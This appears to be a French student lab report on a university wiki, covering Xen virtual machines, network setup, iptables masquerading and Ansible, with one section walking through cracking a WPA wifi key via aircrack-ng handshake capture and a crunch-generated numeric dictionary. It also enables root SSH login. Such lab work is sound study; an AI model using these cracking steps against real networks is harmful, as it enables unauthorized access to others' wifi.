TP sysres IMA5sc 2019/2020 G2 : Différence entre versions
(→Semaine 3 :) |
(→Semaine 4 : ASR) |
||
Ligne 69 : | Ligne 69 : | ||
== Semaine 4 : ASR == | == Semaine 4 : ASR == | ||
+ | |||
+ | === Nouvelle VM === | ||
+ | L'objectif de ces 12 heures est de créer une nouvelle Machine virtuelle qui serait cette fois-ci privée, elle va permettre d'héberger un serveur Web. | ||
+ | |||
+ | Pour la créer : | ||
+ | xen-create-image --hostname=private-mycoplasma --ip=ip 192.168.0.2 --dir=/usr/local/xen | ||
+ | xl create private-mlycoplasma.cfg | ||
+ | |||
+ | Généralement lorsque les export ne sont pas configurés, la création reste bloquée. Il faut exécuter les commande suivante: | ||
+ | export http_proxy=http://proxy.plil.fr:3128 | ||
+ | export https_proxy=http://proxy.plil.fr:3128 | ||
+ | et suivre la suite de la création avec le fichier de log: | ||
+ | tail -f /var/log/xen-tools/private-mycoplasma.log | ||
+ | |||
+ | |||
+ | Voici notre nouvelle structure : | ||
+ | [[Fichier:G2_Structure.png|center|800px]] | ||
+ | |||
+ | Pour y arriver, il faut modifier les fichiers /etc/network/interfaces des deux machines virtuelles avec les adresses, Gateway, et netmask marque sur la photo ci-dessus. Et valider les modifications avec les commandes habituelles : ifdown eth'''i''' et ifup eth'''i''' | ||
+ | |||
+ | === Mascarade === | ||
+ | |||
+ | iptables -P FORWARD DROP | ||
+ | iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24 | ||
+ | iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24 | ||
+ | iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24 | ||
+ | echo 1 > /proc/sys/net/ipv4/ip_forward | ||
+ | apt install iptables-persistent | ||
+ | |||
+ | Il faut ensuite décommenter | ||
+ | net.ipv4.ipforward=1 | ||
+ | |||
+ | |||
+ | === Ansible === | ||
+ | |||
+ | Ansible permet l'automatisation par connexion sans mot de passe. | ||
+ | Il faut d'abord générer une clef asymétrique : | ||
+ | ssh-keygen -t rsa | ||
+ | |||
+ | Installation de la clef publique sur les machines virtuelles 192.168.0.1 à 192.168.0.6 : | ||
+ | cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2" | ||
+ | |||
+ | Il faut installer Ansible : | ||
+ | apt install ansible | ||
+ | ====Hosts==== | ||
+ | Ensuite il faut rédiger l'inventaire ( /etc/ansible/hosts ) c'est un fichier yaml, il faut très attention à la syntaxe. Ce fichier regroupe le parc informatique : | ||
+ | |||
+ | all: | ||
+ | hosts: | ||
+ | interne: | ||
+ | ansible_host: 192.168.0.2 | ||
+ | children: | ||
+ | serveur-web: | ||
+ | hosts: | ||
+ | 192.168.0.[1:6] | ||
+ | |||
+ | ====Playbooks==== | ||
+ | |||
+ | Maintenant qu'on a défini toutes les machines dans notre parc et qu'on peut se connecter automatique, on peut exécuter une commande à distance sur tout le parc à l'aide d'Ansible. | ||
+ | Un "playbook" c'est une liste des tâches à effectuer sur ces machines. |
Version du 10 décembre 2019 à 12:11
Sommaire
Présentation générale
Travaux pratiques protocoles avancés Le sujet du TP se trouve à cette adresse
Réalisation du TP
Semaine 1
Création d'une machine virtuelle
Nous avons acheté notre domaine : mycoplasma.site sur le site gandi.
Ensuite il faut se connecter en shh à Cordouan:
ssh root@cordouan.insecserv.deule.net
Puis créer notre machine virtuelle :
xen-create-image --hostname=mycoplasma --dhcp --dir=/usr/local/xen --dist=buster xl create mycoplasma.cfg
Semaine 2
Cracker le wifi (WPA)
Il faut lancer la commande ip a : récupérer le nom de l'interface wifi : ""wlx40a5ef0f6518"". Il faut le lancer avec la commande :
airmon-ng start wlx40a5ef0f6518
Il faut ensuite écouter le réseau, on récupère alors le channel(2), le nom du wifi, le BSSID (04:DA:D2:9C:5O:5A) avec la commande suivante:
airodump-ng --encrypt wpa wlan0mon
Nous avons choisi de cracker "kracote03"
airodump-ng wlan0mon --bssid 04:DA:D2:9C:5O:5A --ch 2 -w capture
Il faut l'arreter une fois qu'on obtient un handshake
Pour générer un dictionnaire, on a besoin de la commande suivante :
sudo apt-get update sudo apt-get install crunch
crunch 8 8 -o dico.txt 0123456789
- 8 8 : donne des codes de 8 caractères au minimum et au maximum
On lance cette commande :
airodump-ng -c 2 --bssid 04:DA:D2:9C:5O:5A -w ./home/pifou/crack wlx40a5ef0f6518
Voici une capture de la commande :
aircrack crack/capture.cap -w dico.txt
On remarque ce la photo ci dessus que la commande a pris 21 min et 42 sec.
Semaine 3 :
Une fois la VM créée (semaine 1), il faut installer les packages, donc il faut lui donner l'accès à internet. Il faut modifier le fichier suivant etc/network/interfaces. Pour enregistrer les modifications, il faut exécuter les commandes: if down eth0, ifup eth0.
auto eth0 iface eth0 inet static address 193.48.57.178 netmask 255.255.255.240
Pour le moment, pour se connecter à la Machine virtuelle, on utilise la commande suivante:
xl console mycoplasma
Mais il y a une seconde façon d'accéder à notre VM: en utilisant SHH, pour le faire il faut remplacer la ligne suivante " #PermitRootLogin prohibit-password" par " PermitRootLogin yes" de ce fichier etc/ssh/sshd_config.
Semaine 4 : ASR
Nouvelle VM
L'objectif de ces 12 heures est de créer une nouvelle Machine virtuelle qui serait cette fois-ci privée, elle va permettre d'héberger un serveur Web.
Pour la créer :
xen-create-image --hostname=private-mycoplasma --ip=ip 192.168.0.2 --dir=/usr/local/xen xl create private-mlycoplasma.cfg
Généralement lorsque les export ne sont pas configurés, la création reste bloquée. Il faut exécuter les commande suivante:
export http_proxy=http://proxy.plil.fr:3128 export https_proxy=http://proxy.plil.fr:3128
et suivre la suite de la création avec le fichier de log:
tail -f /var/log/xen-tools/private-mycoplasma.log
Voici notre nouvelle structure :
Pour y arriver, il faut modifier les fichiers /etc/network/interfaces des deux machines virtuelles avec les adresses, Gateway, et netmask marque sur la photo ci-dessus. Et valider les modifications avec les commandes habituelles : ifdown ethi et ifup ethi
Mascarade
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24 iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24 iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24 echo 1 > /proc/sys/net/ipv4/ip_forward apt install iptables-persistent
Il faut ensuite décommenter
net.ipv4.ipforward=1
Ansible
Ansible permet l'automatisation par connexion sans mot de passe. Il faut d'abord générer une clef asymétrique :
ssh-keygen -t rsa
Installation de la clef publique sur les machines virtuelles 192.168.0.1 à 192.168.0.6 :
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"
Il faut installer Ansible :
apt install ansible
Hosts
Ensuite il faut rédiger l'inventaire ( /etc/ansible/hosts ) c'est un fichier yaml, il faut très attention à la syntaxe. Ce fichier regroupe le parc informatique :
all: hosts: interne: ansible_host: 192.168.0.2 children: serveur-web: hosts: 192.168.0.[1:6]
Playbooks
Maintenant qu'on a défini toutes les machines dans notre parc et qu'on peut se connecter automatique, on peut exécuter une commande à distance sur tout le parc à l'aide d'Ansible. Un "playbook" c'est une liste des tâches à effectuer sur ces machines.